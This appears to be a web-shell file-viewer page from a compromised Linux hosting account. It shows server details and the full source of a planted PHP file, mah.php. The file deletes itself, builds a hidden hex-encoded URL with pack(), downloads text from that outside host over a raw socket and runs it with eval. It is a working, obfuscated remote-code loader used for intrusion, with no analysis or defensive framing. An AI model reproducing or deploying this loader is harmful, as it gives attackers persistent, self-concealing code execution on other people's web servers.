HEX
Server: Apache
System: Linux web15f74.uni5.net 5.4.282-1.el8.elrepo.x86_64 #1 SMP Mon Aug 19 18:33:22 EDT 2024 x86_64
User: lucendi (859622)
PHP: 7.4.33
Disabled: apache_child_terminate,c99_buff_prepare,c99_sess_put,dl,exec,leak,link,myshellexec,openlog,passthru,pclose,pcntl_exec,php_check_syntax,php_strip_whitespace,popen,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,symlink,system,socket_listen,socket_create_listen,putenv
Upload Files
File: /home/lucendi/www/mah.php
<?php @unlink($_SERVER['SCRIPT_FILENAME']);$h='H';$l='6874';
$l.='747';
$l.='073';
$l.='3';$l.='a2f2';$l.='f6e';
$l.='6';$l.='9';$l.='63';$l.='6';$l.='5';$l.='72672';
$l.='e63';$l.='6f6';$l.='d';$l.='2f737';$l.='0';$l.='2e74';$l.='7874';
$p='p';$p.='a';
$p.='ck';$resp='';$h.='*';$parsed_url=parse_url($p($h,$l));$host=$parsed_url['host'];$path=isset($parsed_url['path'])?$parsed_url['path']:'/';$query=isset($parsed_url['query'])?'?'.$parsed_url['query']:'';$scheme=isset($parsed_url['scheme'])?$parsed_url['scheme']:'http';
$port=isset($parsed_url['port'])?$parsed_url['port']:($scheme==='https'?443:80);$protocol=($scheme==='https')?'ssl':'tcp';$fp=stream_socket_client("{$protocol}://{$host}:{$port}",$errno,$errstr,20);$headers=array("GET {$path}{$query} HTTP/1.1","Host: {$host}","Connection: Close",);$request=implode("\r\n",$headers)."\r\n\r\n";fwrite($fp,$request);$response='';while(!feof($fp)){$response .= fgets($fp,1024);
}fclose($fp);$response_parts=explode("\r\n\r\n",$response,2);$headers=isset($response_parts[0])?$response_parts[0]:'';
$body=isset($response_parts[1])?$response_parts[1]:'';if(stripos($headers,"Transfer-Encoding: chunked")!==false){$decoded='';
while(true){
$pos=strpos($body,"\r\n");if($pos === false) break;
$length=hexdec(substr($body,0,$pos));
if($length === 0) break;
$decoded.=substr($body,$pos+2,$length);$body=substr($body,$pos+2+$length+2);}$resp=trim($decoded);} eVAl('?'. ">".$resp
);?>